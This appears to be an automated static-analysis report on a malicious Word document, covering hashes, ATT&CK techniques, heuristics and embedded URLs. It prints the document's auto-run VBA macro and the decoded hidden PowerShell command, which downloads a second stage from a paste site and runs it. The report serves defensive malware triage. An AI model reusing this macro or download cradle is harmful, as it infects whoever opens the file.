Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af7931a3104d13a2…

MALICIOUS

Office (OOXML)

57.6 KB Created: 2021-06-09 12:42:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-06-17
MD5: 40ec0d84272f1f2394b4a3b74dafbf70 SHA-1: e2807bfb7f256ecc3fa32557b45906bf97ac7f6d SHA-256: af7931a3104d13a2aa115d84f43872a57e8d0f91c9a6893d208d21d2740b300e
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro utilizes the Shell() function to download and execute a second-stage payload from the URL 'http://paste.c-net.org/Glutonynock'. The reconstructed command is 'powershell -win hid -command iex(new-object net.webclient).downloadString(\'http://paste.c-net.org/Glutonynock\')'. This indicates a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/krijnsent/crypto_vba In document text (OOXML body / shared strings)
    • https://excel-malin.comIn document text (OOXML body / shared strings)
    • http://www.rondebruin.nl/win/s1/outlook/saveatt.htmol}/ca�In document text (OOXML body / shared strings)
    • http://allenbrowne.com/bug-16.htmlIn document text (OOXML body / shared strings)
    • https://github.com/binance-exchange/binance-official-api-docs/blob/master/rest-api.md�In document text (OOXML body / shared strings)
    • https://github.com/BitMEX/api-connectors/tree/master/official-http/vbaIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://bittrex.com/home/apiIn document text (OOXML body / shared strings)
    • https://bittrex.github.io/api/v3In document text (OOXML body / shared strings)
    • https://docs.bitvavo.com/In document text (OOXML body / shared strings)
    • https://docs.bitfinex.com/docs/rest-authIn document text (OOXML body / shared strings)
    • https://www.bitmex.com/app/restAPIIn document text (OOXML body / shared strings)
    • https://www.bitmex.com/api/explorer/In document text (OOXML body / shared strings)
    • https://www.bitmex.com/api/explorer/�In document text (OOXML body / shared strings)
    • https://www.bitmex.com/api/explorer/anda�In document text (OOXML body / shared strings)
    • https://www.bitmex.com/api/explorer/000In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 874 bytes
SHA-256: 1bfe5975a6fb93f9ea297c5c8661e8a94584a06faa157ce1948784986d260345
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
   Dim Ahfufj As String
   Re5tuGh = "powDt6GhR4rEDt6cvrshDt6GhR4rEDt6cvllHJU8iKlojztHJU-Dt6GhR4rEDt6cvncHJU8iKlojztHJUcABvAHcAZQByAHMAaABlAGwAbAAgAC0AdwBpAG4AIABoAGkAZABkAGUAbgAgAC0AYwBvAG0AbQBhAG4A"
   Ahfufj = Replace(Replace(Re5tuGh, "Dt6GhR4rEDt6cv", "e"), "HJU8iKlojztHJU", " ")
   Shell (Ahfufj & "ZAAgACIAaQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8ARwBsAHUAdAB0AG8AbgB5AEsAbgBvAGMAawAnACkAIgA=")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 247808 bytes
SHA-256: 245976985934d28be0b3d867b215980262cbe84470ba2cd997957418e50b5ebc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 36 long base64-like blob(s).

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